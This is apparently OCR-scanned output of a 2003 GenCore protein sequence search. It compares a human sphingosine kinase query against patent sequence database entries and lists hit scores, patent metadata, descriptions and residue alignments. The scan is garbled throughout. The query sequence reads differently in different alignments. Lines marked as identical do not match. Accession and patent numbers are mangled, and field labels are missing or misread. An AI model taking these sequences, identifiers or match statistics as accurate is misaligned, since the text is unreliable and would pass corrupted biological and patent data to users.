   : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : :
DB 658 KFSQDGLDILYIK-NCPKYVLTSLMROTSSTGV--ESPVIYIKLVEKVAFAFLBGA 714
   : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : :

OY 332 ----KDKGVPFAVDGELM 345
   | | | | | | | | | |
DB 715 LVDEPDEKEGIIDSDGVL 732

Search completed: July 12, 2003, 18:08:57
Job time : 49 secs

```


GenCore version 5.1.6
Copyright (c) 1993 - 2003 CompuGen Ltd.

OM protein - protein search, using sw model

Run on: July 12, 2003, 16:11:02 : Search time 44 Seconds
(without alignments)
1162.915 Million cell updates/sec

Title: US-09-784-810A-2

Perfect score: 2015
Sequence: 1 MDPAGGPRGVLPKRCRVLV.....CVEPPPSWKPQMPPEEPL 384

Scoring table:

BLOSUM62
Gapop 10.0 , Gapext 0.5

Searched: 908470 seqs, 133250620 residues

Total number of hits satisfying chosen parameters: 908470

Minimum DB seq length: 0

Maximum DB seq length: 2000000000

Post-processing: Minimum Match 0%

Maximum Match 100%

Database :

Listing first 45 summaries

1: A_Geneseq_101002.*
2: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA1980.DAT.*
3: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA1981.DAT.*
4: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA1982.DAT.*
5: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA1983.DAT.*
6: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA1984.DAT.*
7: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA1985.DAT.*
8: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA1986.DAT.*
9: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA1987.DAT.*
10: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA1988.DAT.*
11: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA1989.DAT.*
12: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA1990.DAT.*
13: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA1991.DAT.*
14: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA1992.DAT.*
15: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA1993.DAT.*
16: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA1994.DAT.*
17: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA1995.DAT.*
18: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA1996.DAT.*
19: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA1997.DAT.*
20: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA1998.DAT.*
21: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA1999.DAT.*
22: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA2000.DAT.*
23: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA2001.DAT.*
24: /SIDS2/gcgdata/geneseq/geneseqp-emb1/AA2002.DAT.*

Pred. No. is the number of results predicted by chance to have a score greater than or equal to the score of the result being printed, and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	Query Match	Length	DB ID	Description
1	2015	100.0	384	22	AAE07882 Human sphingosine
2	1962	97.4	384	21	AAB18659 A human regulator
3	1962	97.4	384	22	AAB39555 Human protein sequ
4	1962	97.4	384	22	AAB94589 Human protein sequ
5	1962	97.4	384	22	AAE00924 Human sphingosine
6	1959	97.2	384	22	AAB48007 Human sphingosine
7	1957	97.1	384	22	AAH40180 Human polypeptide
8	1954	97.0	384	23	ABB08089 Human sphingosine
9	1946	96.6	384	21	AA96057 Human sphingosine
10	1698	84.3	333	23	ABB90209 Human polypeptide

11	1594.5	79.1	382	22	AAE07883
12	1585.5	78.7	388	21	AA956054
13	1585.5	78.7	388	21	ABB08088
14	1582.5	78.5	381	21	AA956053
15	1582.5	78.5	381	23	ABB08087
16	1582.5	78.5	381	23	ABB08090
17	1564.5	77.6	373	23	ABB08091
18	1557	77.3	305	22	AAH41966
19	1487	73.8	293	20	AAH86513
20	1487	73.8	293	22	ABB50380
21	930.5	46.2	204	23	ABB08095
22	875	43.4	617	22	AAU09075
23	859.5	42.7	618	22	AAU09075
24	856.5	42.5	618	22	AAU09074
25	856.5	42.5	618	22	ABB07855
26	849.5	42.2	806	22	ABG21144
27	699	34.7	138	23	AAU75327
28	695	34.5	138	23	AAU75339
29	695	34.5	138	23	AAU75347
30	693	34.4	138	23	AAU75337
31	693	34.4	138	23	AAU75341
32	693	34.4	138	23	AAU75344
33	693	34.4	138	23	AAU75345
34	693	34.4	138	23	AAU75346
35	693	34.4	138	23	AAU75349
36	693	34.4	138	23	AAU75350
37	692	34.3	138	23	AAU75336
38	692	34.3	138	23	AAU75338
39	692	34.3	138	23	AAU75340
40	692	34.3	138	23	AAU75342
41	692	34.3	138	23	AAU75343
42	692	34.3	138	23	AAU75348
43	621	30.8	138	23	AAU75328
44	550	27.3	641	22	ABB58465
45	493.5	24.5	456	22	ABG21143

ALIGNMENTS

RESULT 1	
AAE07882	
ID	AAE07882 standard; Protein: 384 AA.
AC	AAE07882;
DT	01-NOV-2001 (first entry)
DE	Human sphingosine kinase (Spk) protein #1.
DE	Human sphingosine kinase; Spk; resenosis; ischaemia; gene therapy; antisense therapy; cancer; sphingolipid; signalling molecule; apoptosis; cytostatic; tumour necrosis factor-alpha; TNF; atherosclerosis; lymphoma; leukaemia; vasotropic; cell proliferative disorder; vascular disease.
OS	Homo sapiens.
PN	WO200160990-A2.
PD	23-AUG-2001.
PF	14-FEB-2001; 2001WO-US04789.
PR	14-FEB-2000; 2000US-0182360.
PR	22-MAR-2000; 2000US-0191261.
PA	(CURA -) CURAGEN CORP.
PI	(GETH) GENENTECH INC.
PI	Rastelli L;
WPI	2001-514770/56.
N-PSDB	AAID14424.

OY 121 NHYAGYEQVNTNEDLLTNCITLLCRPVLSLHTRASGLRSPVSLIANGFTADVDLE 180
CC |||||||
CC 121 NHYAGYEQVNTNEDLLTNCITLLCRRLSLHTRASGLRSPVSLIANGFTADVDLE 180
CC |||||||
OY 181 SDKYRRLEGEMFTLGTFLRLAALRTYRGRALTLPVGRVGFETPASPVPVVOGQPDVDAHLVP 240
CC |||||||
CC 181 SEKRYRLEGEMFTLGTFLRLAALRTYRGRALTLPVGRVGSKTTPASPVVVOGQPDVDAHLVP 240
CC |||||||
OY 241 LEEQVPSHMQVVPDEDFVLVALLSHSLASEMFAAPMGRCAAGVNHLEFYVAGVSRAML 300
CC |||||||
CC 241 LEEQVPSHMVTVPPDEDFVLVALLSHSLSEMFAPMGRCAAGVNHLEFYVAGVSRAML 300
CC |||||||
OY 301 RLFLAMEGRHMEYECPLVYVVPVAFRLPEPKDGKGVAVDGEIMVSEAVOGVHPNPFV 360
CC |||||||
CC 301 RLFLAMEGRHMEYECPLVYVVPVAFRLPEPKDGKGVAVDGEIMVSEAVOGVHPNPFV 360
CC |||||||
OY 361 MVSGCVPPEPPSMKPOQMPPEEPL 384
CC |||||||
CC 361 MVSGCVPPEPPSMKPOQMPPEEPL 384
CC |||||||

RESULT 3
AAB93955
ID AAB93955 standard; Protein: 384 AA.

AC AAB93955;

DT 26-JUN-2001 (first entry)

DE Human protein sequence SEQ ID NO:13997.

DE Human; primer: detection; diagnosis; antisense therapy; gene therapy.

OS Homo sapiens.

PN EP1074617-A2.

PD 07-FEB-2001.

PD 28-JUL-2000; 2000EP-0116126.

PR 29-JUL-1999; 99JP-0248036.

PR 27-AUG-1999; 99JP-0300253.

PR 11-JAN-2000; 2000JP-0118776.

PR 02-MAY-2000; 2000JP-0183767.

PR 09-JUN-2000; 2000JP-0241899.

PA (HELI-) HELIX RES INST.

PI Ota T, Isogai T, Nishikawa T, Hayashi K, Saito K, Yamamoto J;

PI Ishii S, Sugiyama T, Wakamatsu A, Nagai K, Otsuki T;

DR WPI; 2001-318749/34.

PS Claim 8; SEQ ID 13997; 2537bp + CD ROM; English.

CC The present invention describes primer sets for synthesizing 5602
CC full-length cDNAs defined in the specification. Where a primer set
CC comprises: (a) an oligo-dT primer and an oligonucleotide complementary
CC to the complementary strand of a polynucleotide which comprises one of
CC the 5602 nucleotide sequences defined in the specification, where the
CC oligonucleotide comprises at least 15 nucleotides; or (b) a combination
CC of an oligonucleotide comprising a sequence complementary to the
CC complementary strand of a polynucleotide which comprises a 5'-end
CC sequence and an oligonucleotide comprising a sequence complementary to a
CC polynucleotide which comprises a 3'-end sequence, where the
CC oligonucleotide comprises at least 15 nucleotides and the combination of

CC the 5'-end sequence/3'-end sequence is selected from those defined in
CC the specification. The primer sets can be used in antisense therapy and
CC in gene therapy. The primers are useful for synthesizing polynucleotides,
CC particularly full-length cDNAs. The primers are also useful for the
CC detection and/or diagnosis of the abnormality of the proteins encoded by
CC the full-length cDNAs. The primers allow obtaining of the full-length
CC cDNAs easily without any specialised methods. AAH03166 to AAH13628 and
CC AAH13633 to AAH18742 represent human cDNA sequences; AAB92446 to
CC AAB95893 represent human amino acid sequences; and AAH13629 to AAH13632
CC represent oligonucleotides, all of which are used in the exemplification
CC of the present invention.

CC Sequence 384 AA:

Query Match 97.44; Score 1962; DB 22; Length 384;
Best Local Similarity 97.78; Pred. No. 9.6e-205;
Matches 375; Conservative 2; Mismatches 7; Indels 0; Gaps 0;

OY 1 MDPAGPRGVLPKRCRVLTLLNPRGKGKALQQLFRSHVQPLAAEISFTLMTERRNHA 60
CC |||||||
CC 1 MDPAGPRGVLPKRCRVLTLLNPRGKGKALQQLFRSHVQPLAAEISFTLMTERRNHA 60
CC |||||||
OY 61 RELVSEELGRMDALVYNSGDGLMHEVYVNGIMBERPDWETA1QKPLCSLPAGSGNALAASL 120
CC |||||||
CC 61 RELVSEELGRMDALVYNSGDGLMHEVYVNGIMBERPDWETA1QKPLCSLPAGSGNALAASL 120
CC |||||||
OY 121 NHYAGYEQVNTNEDLLTNCITLLCRPVLSLHTRASGLRSPVSLIANGFTADVDLE 180
CC |||||||
CC 121 NHYAGYEQVNTNEDLLTNCITLLCRRLSLHTRASGLRSPVSLIANGFTADVDLE 180
CC |||||||
OY 181 SDKYRRLEGEMFTLGTFLRLAALRTYRGRALTLPVGRVGFETPASPVPVVOGQPDVDAHLVP 240
CC |||||||
CC 181 SEKRYRLEGEMFTLGTFLRLAALRTYRGRALTLPVGRVGSKTTPASPVVVOGQPDVDAHLVP 240
CC |||||||
OY 241 LEEQVPSHMQVVPDEDFVLVALLSHSLASEMFAAPMGRCAAGVNHLEFYVAGVSRAML 300
CC |||||||
CC 241 LEEQVPSHMVTVPPDEDFVLVALLSHSLSEMFAPMGRCAAGVNHLEFYVAGVSRAML 300
CC |||||||
OY 301 RLFLAMEGRHMEYECPLVYVVPVAFRLPEPKDGKGVAVDGEIMVSEAVOGVHPNPFV 360
CC |||||||
CC 301 RLFLAMEGRHMEYECPLVYVVPVAFRLPEPKDGKGVAVDGEIMVSEAVOGVHPNPFV 360
CC |||||||
OY 361 MVSGCVPPEPPSMKPOQMPPEEPL 384
CC |||||||
CC 361 MVSGCVPPEPPSMKPOQMPPEEPL 384
CC |||||||

RESULT 4

AAB94589
ID AAB94589 standard; Protein: 384 AA.

AC AAB94589;

DT 26-JUN-2001 (first entry)

DE Human protein sequence SEQ ID NO:15394.

DE Human; primer: detection; diagnosis; antisense therapy; gene therapy.

OS Homo sapiens.

PN EP1074617-A2.

PD 07-FEB-2001.

PD 28-JUL-2000; 2000EP-0116126.

PR 29-JUL-1999; 99JP-0248036.

PR 27-AUG-1999; 99JP-0300253.

PR 11-JAN-2000; 2000JP-0118776.

PR 02-MAY-2000; 2000JP-0183767.

PR 09-JUN-2000; 2000JP-0241899.

QY 61 RELVRSSEELGRMDALVYMSGDGLMHEVYNGIMERPDMETAIOKPLCSLPAGSGNALAASL 120
 DB 61 RELVRSSEELGRMDALVYMSGDGLMHEVYNGIMERPDMETAIOKPLCSLPAGSGNALAASL 120
 QY 121 NHYAGYEQVYTNEDLTNCTLLCSPVLSPMNLSLHTASGRSFSVSLAMGFIADVDLE 180
 DB 121 NHYAGYEQVYTNEDLTNCTLLCSPVLSPMNLSLHTASGRSFSVSLAMGFIADVDLE 180
 QY 181 SDKYRRLGEMRFTLTGTEFLRLAALRTYRGRLATLTVGRGFKTPASPVVVOGCPVDALHVP 240
 DB 181 SEKYRRLGEMRFTLTGTEFLRLAALRTYRGRLATLTVGRGFKTPASPVVVOGCPVDALHVP 240
 QY 241 LEEOVPSHMVVPDEDFVLVLLALSHSLASEMFAAPMGRCAGVMHLFFYVAGVSRAML 300
 DB 241 LEEVPSHMTVVPDEDFVLVLLALSHSLASEMFAAPMGRCAGVMHLFFYVAGVSRAML 300
 QY 301 RLFLAMEGRHMEYECPLVYVVPVAFRLPEPKDGKGFVAVDGEIMVSEAVOGVHPNYFW 360
 DB 301 RLFLAMEGRHMEYECPLVYVVPVAFRLPEPKDGKGFVAVDGEIMVSEAVOGVHPNYFW 360
 QY 361 MVSGCVPPEPPSMKPOQMPPEEPL 384
 DB 361 MVSGCVPPEPPSMKPOQMPPEEPL 384

RESULT 6
 AAB48007
 ID AAB48007 standard; Protein: 384 AA.

AC AAB48007;
 DT 19-MAR-2001 (first entry)

DE Human sphingosine kinase protein sequence.

KW Sphingosine kinase; antiarthritic; antisthmatic; antiarteriosclerotic;
 KM antiinflammatory; neuroprotective; antibacterial; immunosuppressive;
 human.

OS Homo sapiens.

XX WO200070028-A1.

PD 23-NOV-2000.

PE 12-MAY-2000; 2000WO-AU00457.

PR 13-MAY-1999; 99AU-0000339.

PR 08-JUL-1999; 99AU-0001504.

PA (JOHN) JOHNSON & JOHNSON RES PTY LTD.

PI Pltson SM, Wattenberg BW, Xia P, D'Andrea RJ, Gamble JR, Vadas MA;

DR WPI; 2001-016227/02.

DR N-PSDB; AAC84161.

PT Novel sphingosine kinase protein and nucleic acid molecules for
 PT diagnosis, prophylaxis and treatment of rheumatoid arthritis, asthma,
 PT atherosclerosis, inflammation, meningitis, multiple sclerosis and
 PT septic shock

PS Claim 9; Fig 7a; 100pp; English.

XX This represents a human sphingosine kinase (SK) protein. The human SK
 CC protein, encoding nucleic acids and modulators are useful for modulating
 CC expression, functional activity or cellular functional activity of
 CC sphingosine kinase in a subject and also for treating a mammal by
 CC modulating the activity of SK. Diseases treated by regulating SK
 CC cellular activity include rheumatoid arthritis, asthma, atherosclerosis,
 CC inflammation, meningitis, multiple sclerosis and septic shock.

XX Sequence 384 AA;

Query Match 97.2%; Score 1959; DB 22; Length 384;
 Best Local Similarity 97.4%; Pred. No. 2e-204;
 Matches 374; Conservative 3; Mismatches 7; Indels 0; Gaps 0;

QY 1 MDPAGGPRGYLPRRCRYLVLLNPRGKGKALQLEFRSHVQPLLAEBISFTLMTERRNHA 60
 DB 1 MDPAGGPRGYLPRRCRYLVLLNPRGKGKALQLEFRSHVQPLLAEBISFTLMTERRNHA 60
 QY 61 RELVRSSEELGRMDALVYMSGDGLMHEVYNGIMERPDMETAIOKPLCSLPAGSGNALAASL 120
 DB 61 RELVRSSEELGRMDALVYMSGDGLMHEVYNGIMERPDMETAIOKPLCSLPAGSGNALAASL 120
 QY 121 NHYAGYEQVYTNEDLTNCTLLCSPVLSPMNLSLHTASGRSFSVSLAMGFIADVDLE 180
 DB 121 NHYAGYEQVYTNEDLTNCTLLCSPVLSPMNLSLHTASGRSFSVSLAMGFIADVDLE 180
 QY 181 SDKYRRLGEMRFTLTGTEFLRLAALRTYRGRLATLTVGRGFKTPASPVVVOGCPVDALHVP 240
 DB 181 SEKYRRLGEMRFTLTGTEFLRLAALRTYRGRLATLTVGRGFKTPASPVVVOGCPVDALHVP 240
 QY 241 LEEOVPSHMVVPDEDFVLVLLALSHSLASEMFAAPMGRCAGVMHLFFYVAGVSRAML 300
 DB 241 LEEVPSHMTVVPDEDFVLVLLALSHSLASEMFAAPMGRCAGVMHLFFYVAGVSRAML 300
 QY 301 RLFLAMEGRHMEYECPLVYVVPVAFRLPEPKDGKGFVAVDGEIMVSEAVOGVHPNYFW 360
 DB 301 RLFLAMEGRHMEYECPLVYVVPVAFRLPEPKDGKGFVAVDGEIMVSEAVOGVHPNYFW 360
 QY 361 MVSGCVPPEPPSMKPOQMPPEEPL 384
 DB 361 MVSGCVPPEPPSMKPOQMPPEEPL 384

RESULT 7
 AAM40180
 ID AAM40180 standard; Protein: 384 AA.

AC AAM40180;

DT 22-OCT-2001 (first entry)

DE Human polypeptide SEQ ID NO 3325.

KW Human; nootropic; immunosuppressant; cyostatic; gene therapy; cancer;
 KM peripheral nervous system; neuropathy; central nervous system; CNS;
 KM Alzheimer's; Parkinson's disease; Huntington's disease; haemostatic;
 KM amyotrophic lateral sclerosis; Shy-Drager Syndrome; chemotactic;
 KM chemokine; thrombolytic; drug screening; arthritis; inflammation;
 KM leukaemia.

OS Homo sapiens.

XX WO200153312-A1.

PD 26-JUL-2001.

PE 26-DEC-2000; 2000WO-US34263.

PR 21-JAN-2000; 2000US-0488725.

PR 25-APR-2000; 2000US-0552317.

PR 09-JUL-2000; 2000US-0598042.

PR 19-JUL-2000; 2000US-0620312.

PR 03-AUG-2000; 2000US-0653450.

PR 14-SEP-2000; 2000US-0662191.

PR 19-OCT-2000; 2000US-0693036.

PR 29-NOV-2000; 2000US-0727344.

PA (HYSE-) HYSEQ INC.

PI Tang YT, Liu C, Asundi V, Chen R, Ma Y, Qian XB, Ren F, Wang D;
 PI Wang J, Wang Z, Wehrman T, Xu C, Xue AJ, Yang Y, Zhang J;
 PI Zhao QA, Zhou P, Goodrich R, Drmanac RT;

SQ Sequence 333 AA;
 Query Match 84.3%; Score 1698; DB 23; Length 333;
 Best Local Similarity 97.3%; Pred. No. 4,6e-176;
 Matches 324; Conservative 2; Mismatches 7; Indels 0; Gaps 0;

QY 52 MTERRHARELVRSSEIGRWDAIYVSSDGLMHEVNGIMERPDMETATQKFLCSLPAG 111
 DB 1 MTERRHARELVRSSEIGRWDAIYVSSDGLMHEVNGIMERPDMETATQKFLCSLPAG 60

QY 112 SGNAALASLNHYAGYEQVYEDVNTEDLLTNCITLLCRPVLSPMNLISLHTASGLRSEFVSLAW 171
 DB 61 SGNAALASLNHYAGYEQVYEDVNTEDLLTNCITLLCRPVLSPMNLISLHTASGLRSEFVSLAW 120

QY 172 GFADVDVLESDKTRRLGEMFTIGTFLRLAALTYRRLATLVYGRGFTSPSPVYVQ 231
 DB 121 GFADVDVLESEKTRRLGEMFTIGTFLRLAALTYRRLATLVYGRGFTSPSPVYVQ 180

QY 232 GPVDAHLVPLEEQVPSHMVYVPPDEDFVLVTLALSHSLASEMFAAPMGRCAAGVMLFFYR 291
 DB 181 GPVDAHLVPLEEQVPSHMVYVPPDEDFVLVTLALSHSLASEMFAAPMGRCAAGVMLFFYR 240

QY 292 AGVSRAMLRLFLAMEGRMEYECPLYVYPVVAERLEPRKDGKGVFAVDGELMVSBAVQ 351
 DB 241 AGVSRAMLRLFLAMEGRMEYECPLYVYPVVAERLEPRKDGKGVFAVDGELMVSBAVQ 300

QY 352 GQVHPNPFMMVSGVCEPPSPMKPQOMPPEEP 384
 DB 301 GQVHPNPFMMVSGVCEPPSPMKPQOMPPEEP 333

RESULT 11
 AAE07883
 ID AAE07883 standard; Protein: 382 AA.
 AC AAE07883;
 DT 01-NOV-2001 (first entry)
 DE Mouse consensus sphingosine kinase (Sphk) protein.
 KW Mouse; sphingosine kinase; Sphk; restenosis; ischaemia; gene therapy;
 KW antisense therapy; cancer; sphingolipid; signalling molecule; apoptosis;
 KW cytosolic; tumor necrosis factor-alpha; TNF; atherosclerosis; lymphoma;
 KW leukaemia; vasotropic; cell proliferative disorder; vascular disease.
 OS Mus musculus.
 PN WO200160990-A2.
 PD 23-AUG-2001.
 PE 14-FEB-2001; 2001WO-US04789.
 PR 14-FEB-2000; 2000US-0182360.
 PR 22-MAR-2000; 2000US-0191261.
 PA (CURA-) CURAGEN CORP.
 PA (GETH) GENENTECH INC.
 PI Rastelli L;
 DR WPI; 2001-514770/56.
 DR N-PSDB; AAD14425.
 PT An isolated sphingosine kinase polypeptide useful for treating a
 PT Sphk-associated disorder especially cancer, restenosis or ischemia in a
 PT human -
 PS Example 1; Page 92-94; 107pp; English.
 CC The present invention relates to sphingosine kinase (Sphk) polypeptides
 CC and nucleic acids encoding them. Sphk is useful for treating a Sphk-

CC associated disorder especially cancers such as leukaemia, lymphoma,
 CC ovarian, breast, lung, colon, testicular, stomach and skin,
 CC atherosclerosis, restenosis or ischaemia and cell proliferative disease
 CC or disorder associated with vascular diseases. Sphk gene is used in gene
 CC therapy and antisense-therapy. Sphingolipids serving as signalling
 CC molecules, have recently emerged as regulators of cell growth,
 CC differentiation, diverse cell phenotypes and cell death. Activation of
 CC Sphk by tumour necrosis factor (TNF)-alpha inhibits apoptosis in human
 CC endothelial cells. The present sequence is consensus mouse sphingosine
 CC kinase (Sphk) protein.
 CC XX

SQ Sequence 382 AA;
 Query Match 79.1%; Score 1594.5; DB 22; Length 382;
 Best Local Similarity 79.1%; Pred. No. 1.1e-164;
 Matches 303; Conservative 35; Mismatches 44; Indels 1; Gaps 1;

QY 1 MDPAGPGRGVLPBPCRVLYLNPGRGKRALOLFERSHVOPPLAEAEISFTMLTERRNA 60
 DB 1 MEVVECPRGILPRPCRVLYLNPGRGKRALOLFOSRVOPFLEAEITEKLLITERRNA 60

QY 61 RELVRSSEELGRMDALYVMSGDDGLMHEVNGIMERPDMETATQKFLCSLPAGSNAALASL 120
 DB 61 RELVCAEEELGMDALYVMSGDDGLMHEVNGIMERPDMETATQKFLCSLPAGSNAALASV 120

QY 121 NHYAGYEQVYEDVNTEDLLTNCITLLCRPVLSPMNLISLHTASGLRSEFVSLAWGFADVDLE 180
 DB 121 NHYAGYEQVYEDVNTEDLLTNCITLLCRPVLSPMNLISLHTASGLRSEFVSLAWGFADVDLE 180

QY 181 SDKYRRLGEMFTIGTFLRLAALTYRRLATLVYGRGFTSPSPVYVQGVDAHLVY 240
 DB 181 SEKYRRLGEMFTIGTFLRLAALTYRRLATLVYGRGFTSPSPVYVQGVDAHLVY 239

QY 241 LEEQVPSHMVYVPPDEDFVLVTLALSHSLASEMFAAPMGRCAAGVMLFFYRAGVSRAML 300
 DB 240 LEEQVPSHMVYVPPDEDFVLVTLALSHSLASEMFAAPMGRCAAGVMLFFYRAGVSRAML 299

QY 301 RLFLAMEGRMEYECPLYVYPVVAERLEPRKDGKGVFAVDGELMVSBAVQGVHPNPF 360
 DB 300 RLFLAMGKGMHMLDCPLYVYPVVAERLEPRKDGKGVFAVDGELMVSBAVQGVHPNPF 359

QY 361 MVSQVCEPPSPMKPQOMPPEEP 383
 DB 360 MVSQVCEPPSPMKPQOMPPEEP 382

RESULT 12
 AAY56054
 ID AAY56054 standard; Protein: 388 AA.
 AC AAY56054;
 DT 28-MAR-2000 (first entry)
 DE Mouse sphingosine kinase 1b protein.
 KW Anticancer; antiproliferative; antiatherosclerotic; stroke; restenosis;
 KW antineurodegeneration; sphingosine kinase; cell proliferation; apoptosis;
 KW cancer; diabetic neuropathy; Alzheimer's disease; atherosclerosis.
 OS Mus musculus.
 PN WO9961581-A2.
 PD 02-DEC-1999.
 PE 25-MAY-1999; 99WO-US11521.
 PR 26-MAY-1998; 98US-0086657.
 PR 11-AUG-1998; 98US-0096049.
 PA (DEAN-) OFFICE DEAN RES & GRADUATE EDUCATION.

RESULT 14

AAV56053 standard; protein; 381 AA.

AAV56053:

28-MAR-2000 (first entry)

Mouse sphingosine kinase 1a protein.

Anticancer; antiproliferative; antiatherosclerotic; stroke; restenosis; antineurodegeneration; sphingosine kinase; cell proliferation; apoptosis; cancer; diabetic neuropathy; Alzheimer's disease; atherosclerosis.

Mus musculus.

WC0961581-A2.

02-DEC-1999.

25-MAY-1999; 99MO-US11521.

26-MAY-1998; 98US-0086657.

11-AUG-1998; 98US-0096049.

(DEAN-) OFFICE DEAN RES & GRADUATE EDUCATION.

Spiegel S;

WPI; 2000-072612/06.

N-PSDB; AA247167.

New sphingosine kinase, used to treat diseases involving abnormal cell proliferation, e.g. cancer.

Example 1; Fig 1; 116pp; English.

This sequence represents the mouse sphingosine kinase 1a. The coding sequence was isolated by searching a dbEST (expressed sequence tag database) using amino acid sequence results from sequenced tryptic digests of the rat sphingosine kinase. Expression of sphingosine kinase in cells results in formation of sphingosine-1-phosphate, a known second messenger, and confers serum-independent growth; increases proliferation, and suppresses serum-deprivation or ceramide-induced apoptosis. The sphingosine kinase nucleic acid is used: (a) to increase sphingosine kinase content of cells, specifically for reducing cell death and/or increasing cell proliferation; and (b) to produce transfected cells that are used to screen for agents that inhibit or promote sphingosine kinase activity. Agents that reduce sphingosine kinase activity or expression are used: (i) to reduce cell proliferation, specifically for treating cancer, and (ii) to treat diseases associated with abnormal cell migration or motility, particularly cancer, restenosis or diabetic neuropathy (but also atherosclerosis, stroke and Alzheimer's disease), whereas agents that stimulate sphingosine kinase can be used to treat conditions associated with reduced cell proliferation, e.g. developmental retardation.

Sequence 381 AA:

Query Match

Best Local Similarity 78.5%; Score 1582.5; DB 21; Length 381;

Matches 300; Conservative 35; Mismatches 41; Indels 1; Gaps 1;

7 PRGVLRPCRVYVILNPRGKRAQLFRSHVPLAEATISTLTMTERRNARELYRS 66

6 PRGLPRPCRVYVILNPRGKRAQLFRSHVPLAEATISTLTMTERRNARELYRS 65

67 EEELGRMDALVVMGSDGLMHEVYVNGLMERPMETAIKPLCSLPAGSGNALAASVNHAGY 126
 68 EEELGRMDALVVMGSDGLMHEVYVNGLMERPMETAIKPLCSLPAGSGNALAASVNHAGY 125

127 EGYTNEDLLTNCITLRCRPVLSPMNLISHTASGLRSFVSLAMGFADVDLESDKYR 186

126 EGYTNEDLLTNCITLRCRPVLSPMNLISHTASGLRSFVSLAMGFADVDLESDKYR 185

187 LGEMRFTLTGFLALARTYRGLATLPVGRNGCFKTPASPVVVOGCPVDAHLVPLEEQY 246

186 LGEMRFTLTGFLALARTYRGLATLPVGRNGCFKTPASPVVVOGCPVDAHLVPLEEQY 244

247 SHMOVVPDEDFVYVILNLSHLSAEMFAPMGRCAGVHMLFVRAGVSRAHLRLFLM 306

245 SHMTVVPDEDFVYVILNLSHLSAEMFAPMGRCAGVHMLFVRAGVSRAHLRLFLM 304

307 EKGRRHMEDECPYLVYVVAFRLEPKDGKVFAYDGLMYSSEAVOGVPHNFMVSGCV 366

305 QKQKHMEDECPYLVYVVAFRLEPKDGKVFAYDGLMYSSEAVOGVPHNFMVSGCV 364

367 EPPPSMKPOOMPPEEP 383

365 DAPSGRDSRRGPPEEP 381

RESULT 15

ABB08087 standard; protein; 381 AA.

ABB08087:

10-SEP-2002 (first entry)

Murine sphingosine kinase 1a (mSPHK1a) protein sequence.

Sphingosine kinase; SPHK; SPHK1a; cytosolic; vasotropic; antidiabetic; neuroprotective; mouse; enzyme.

Mus musculus.

US2002042358-A1.

11-APR-2002.

02-MAR-2001; 2001US-0796487.

02-MAR-2000; 2000US-186352P.

(SPIE/) SPIEGEL S.

Spiegel S;

WPI; 2002-478846/51.

New isolated sphingosine kinase, useful in identifying modulators for treating e.g. cancer, also related nucleic acid, vectors and transformed cells

Disclosure; Fig 1; 24pp; English.

The invention relates to an isolated sphingosine kinase (SPHK) DNA. Cells transformed with SPHK DNA are used to screen for agents that reduce, eliminate or promote SPHK activity. Agents that inhibit activity are useful for decreasing cell proliferation, e.g. for treating cancer, and for treating diseases associated with abnormal migration and motility of cells, e.g. restenosis or diabetic neuropathy. Agents that increase activity are used to reduce cell death. Antibodies raised against SPHK, and primers or oligonucleotides derived from the DNA are useful for diagnosis. The antibodies are also useful as therapeutic inhibitors. The present sequence represents a murine sphingosine kinase 1a (mSPHK1a) corresponding to residues 124 to 504 of SPHK1a in Genbank Accession no. AAC61697.

Sequence 381 AA:

Query Match

Best Local Similarity 78.5%; Score 1582.5; DB 23; Length 381;

Matches 300; Conservative 35; Mismatches 41; Indels 1; Gaps 1;

```

OY 7 PRGVLPKPCRYLVNLRGKGAIOLEFRSHVOPFLAEIETFTLMTERRNHARELYRS 66
    |||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:
Db 6 PRGILPPKPCRYLVNLRGKGAIOLEFRSHVOPFLAEIETFTLMTERRNHARELYCA 65
    |||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:
OY 67 EEIGRMDALVYMSGDGLMHEVNGLMERPMETAIQKPLCSLPAGSGNALASLNHYAGY 126
    |||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:
Db 66 EEIGRMDALVYMSGDGLMHEVNGLMERPMETAIQKPLCSLPAGSGNALASLNHYAGY 125
    |||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:
OY 127 EGYTNEDELINCTILLCRPVLSFPMNLSTHTASGLRSFVSLAMGFIADVDLESDKYRR 186
    |||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:
Db 126 EGYTNEDELINCTILLCRRRISPMNLSTHTASGLRLYSVLSISWGFADVLESEKYYR 185
    |||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:
OY 187 LGEMRFTLGTFLRLAARTYRGRLATLPVGRVGFKTPASPVYVOGSPVDAHLVPLEEQVP 246
    |||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:
Db 186 LGEMRFTVGTFFRLASRLTYGQGLAYLPVGTAVASKRPAS-TLVOKGPDVTHLVPLEEVP 244
    |||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:
OY 247 SHMOVPEDEDFVLVLTALSHSLASEMFAAPMGRCAAGVMHLFYRAGVSRAMLRLFLAM 306
    |||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:
